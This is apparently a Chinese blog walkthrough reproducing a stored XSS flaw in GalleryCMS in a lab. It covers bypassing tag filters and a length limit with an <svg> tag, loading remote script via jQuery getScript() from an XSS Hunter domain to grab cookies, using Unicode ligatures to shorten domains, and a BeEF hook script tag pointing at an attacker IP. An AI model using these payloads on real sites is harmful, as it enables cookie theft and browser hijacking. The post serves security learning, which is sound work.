XSS漏洞复现

本文详细介绍了如何复现GalleryCMS的XSS漏洞,通过字符长度限制短域名绕过的方法,包括利用<svg>标签、getScript()函数以及Unicode编码来绕过20个字符的限制,最终成功利用beef工具获取信息。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

XSS复现GalleryCMS字符长度限制短域名绕过

第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方 

 第二步:我们再测试一下是否可以使用JS代码

 第三步:使用getScript()函数绕过

 第四步:beef复现GalleryCMS20个字符限制短域名绕过


XSS复现GalleryCMS字符长度限制短域名绕过

我们首先搭建好galleryCMS的服务器。

第一步:首先随意上传一个字符串,查看字符串最后输入到什么地方 

可以在数据库中看见我们上传的数据

 

 第二步:我们再测试一下是否可以使用JS代码

 

在数据库中显示为,这说明对JS代码有限制,导致我们无法进行弹窗

 我们查看一下源码,可以发现他对我们做了长度45,且过滤了很多标签等限制

但是从源码中可以看出没有对<svg>标签进行限制,所以我们尝试使用<svg>标签测试是否能绕过

绕过成功: 

 

 

 第三步:使用getScript()函数绕过

我们通过这个页面发现网页使用的是jQuery框架,我们尝试使用getScript()函数绕过试一下。

getScript()函数:使用 AJAX 的 HTTP GET 请求获取和执行 JavaScript。

语法:(selector).getScript(url,success(response,status))

参数描述
url必需。规定将请求发送到哪个 URL。
success(response,status)可选。规定当请求成功时运行的函数。
额外的参数:
  • response - 包含来自请求的结果数据
  • status - 包含请求的状态("success"、"notmodified"、"error"、"timeout"、"parsererror")

 我们尝试将<svg>标签和getScript合用一起获取cookie值

 我们使用了xss-hunter给系统分配的一个页面,telsm.xss.ht里面有很多获取信息的功能,需要注册并且拥有自定义的xss.ht子域名才可以使用,但是我没有注册域名,所以查看不到获取的消息,但是这样也表示成功了。

 第四步:beef复现GalleryCMS20个字符限制短域名绕过

我们将字符最长限制长度改为20个字符,利用beef工具尝试绕过

 但是基本的命令都会超过20个字符

由于字符长度限制,如何实现绕过?

1、使用Unicode编码进行编码,Unicode编码有几种特殊字符,如tel在Unicode中仅算一个字符

2、域名重定向-->国内域名重定向需要备案,只能使用国外域名

我们用第一个方法Unicode编码利用特殊字符绕过

  • ℠ expands to sm
  • ㏛ expands to sr
  • st expands to st
  • ㎭ expands to rad
  • ℡ expands to tel

我们先打开beef-xss:

登陆beef的网页端,beef的用户名和密码在/etc/beef-xss/config.yml文件下查看

 把hook.js文件内容复制到服务器下的/var/www/html/index.html文件下,因为我没有自己的域名,所以我自能修改配置文件,使用ip进行测试<script src="//192.168.112.131:3000/hoot.js">

成功了

参考资料:

jQuery getScript() 方法 | 菜鸟教程 (runoob.com)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值